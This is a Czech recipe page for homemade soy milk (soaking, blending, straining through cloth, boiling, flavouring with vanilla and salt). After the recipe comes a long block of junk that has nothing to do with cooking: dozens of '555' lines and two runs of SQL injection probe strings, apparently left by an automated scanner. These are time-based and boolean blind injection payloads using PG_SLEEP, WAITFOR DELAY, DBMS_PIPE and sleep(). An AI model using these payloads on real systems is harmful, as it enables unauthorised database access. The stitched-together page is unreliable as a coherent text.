Stále více lidí se dnes ze zdravotních či etických důvodů spoléhá na rostlinná mléka namísto těch živočišných. Rostlinná mléka jsou ale mnohem dražší než běžné kravské mléko, a pokud je pijete a zároveň používáte i při vaření a pečení, může vás to stát opravdu hodně. A přitom si můžete vyrobit vlastní rostlinná mléka doma!
O výrobě mléka z mandlí, kešu ořechů, máku a dalších semínek a oříšků už jsme tu psali. Dnes se ale budeme věnovat rostlinnému mléku, které je velmi populární, ale jeho domácí příprava se od ostatních trochu liší. Řeč je o mléku sójovém.
Recept na domácí sójové mléko
-
300 g sušených sójových bobů
-
3 l vody + na namáčení
-
2 lžičky vanilkového extraktu
-
malá špetka soli
Sójové boby opláchneme a vsypeme do dostatečně velké nádoby, zalijeme studenou vodou tak, aby hladina sahala asi o polovinu výše než samotné boby. Zakryjeme a necháme stát 12 až 24 hodin. Poté boby v prstech promneme, snažíme se je zbavit slupky, což prospěje zdravotním účinkům i chuti výsledného mléka. Pokud ale slupky nejdou stáhnout, nebudeme se tím trápit a přistoupíme k dalším bodu. Případné slupky odstraníme a vodu slijeme, boby propláchneme a smícháme se 3 l čerstvé vody. Sóju a vodu po částech rozmixujeme ve stolním mixéru na hladkou řídkou kaši, kterou poté přemístíme do čisté kuchyňské utěrky nebo sýrařského plátna, kterým jsme vyložili misku. Cípy plátna nebo utěrky v ruce spojíme, vzniklý raneček zvedneme a vymačkáme veškerou tekutinu do mísy. V pláténku nám zbyde tzv. okara, kterou můžeme využít v dalších receptech. K výrobě sójového mléka ale budeme potřebovat zcezenou tekutinu v míse. Přelijeme ji do hrnce a přivedeme k varu, ztlumíme plamen a vaříme asi 15 až 20 minut. V průběhu vaření sbíráme pěnu, která se tvoří na povrchu. Uvařené sójové mléko potom dochutíme špetkou soli a vanilkovým extraktem, promícháme a necháme zchladnout. Potom jej přelijeme do vymytých lahví a uložíme do lednice, kde vydrží 4 až 5 dní.
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@TSv2N
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
MMmJ6vzY')) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
9hKrXGXZ') OR 655=(SELECT 655 FROM PG_SLEEP(15))--
MFBciNiy' OR 166=(SELECT 166 FROM PG_SLEEP(15))--
-1)) OR 166=(SELECT 166 FROM PG_SLEEP(15))--
-5) OR 233=(SELECT 233 FROM PG_SLEEP(15))--
-5 OR 869=(SELECT 869 FROM PG_SLEEP(15))--
9yXnM62c'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+373-373) --
-1" OR 3*2<(0+5+373-373) --
-1" OR 3+373-373-1=0+0+0+1 --
-1" OR 2+373-373-1=0+0+0+1 --
-1' OR 3*2>(0+5+560-560) or 'yLiEnn5Q'='
-1' OR 3*2<(0+5+560-560) or 'yLiEnn5Q'='
-1' OR 3+560-560-1=0+0+0+1 or 'yLiEnn5Q'='
-1' OR 2+560-560-1=0+0+0+1 or 'yLiEnn5Q'='
-1' OR 3*2>(0+5+439-439) --
-1' OR 3*2<(0+5+439-439) --
-1' OR 3+439-439-1=0+0+0+1 --
-1' OR 2+439-439-1=0+0+0+1 --
-1 OR 3*2>(0+5+855-855)
-1 OR 3*2<(0+5+855-855)
-1 OR 3+855-855-1=0+0+0+1
-1 OR 2+855-855-1=0+0+0+1
-1 OR 3*2>(0+5+79-79) --
-1 OR 3*2<(0+5+79-79) --
-1 OR 3+79-79-1=0+0+0+1 --
-1 OR 2+79-79-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@wVKsi
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
M5AqAtRy')) OR 930=(SELECT 930 FROM PG_SLEEP(15))--
8gJ1eER8') OR 752=(SELECT 752 FROM PG_SLEEP(15))--
DsGPB4LP' OR 657=(SELECT 657 FROM PG_SLEEP(15))--
-1)) OR 694=(SELECT 694 FROM PG_SLEEP(15))--
-5) OR 55=(SELECT 55 FROM PG_SLEEP(15))--
-5 OR 596=(SELECT 596 FROM PG_SLEEP(15))--
VXh1n17D'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+326-326) --
-1" OR 3*2<(0+5+326-326) --
-1" OR 3+326-326-1=0+0+0+1 --
-1" OR 2+326-326-1=0+0+0+1 --
-1' OR 3*2>(0+5+214-214) or 'XbNONbWd'='
-1' OR 3*2<(0+5+214-214) or 'XbNONbWd'='
-1' OR 3+214-214-1=0+0+0+1 or 'XbNONbWd'='
-1' OR 2+214-214-1=0+0+0+1 or 'XbNONbWd'='
-1' OR 3*2>(0+5+400-400) --
-1' OR 3*2<(0+5+400-400) --
-1' OR 3+400-400-1=0+0+0+1 --
-1' OR 2+400-400-1=0+0+0+1 --
-1 OR 3*2>(0+5+582-582)
-1 OR 3*2<(0+5+582-582)
-1 OR 3+582-582-1=0+0+0+1
-1 OR 2+582-582-1=0+0+0+1
-1 OR 3*2>(0+5+921-921) --
-1 OR 3*2<(0+5+921-921) --
-1 OR 3+921-921-1=0+0+0+1 --
-1 OR 2+921-921-1=0+0+0+1 --
555
555
555
555
555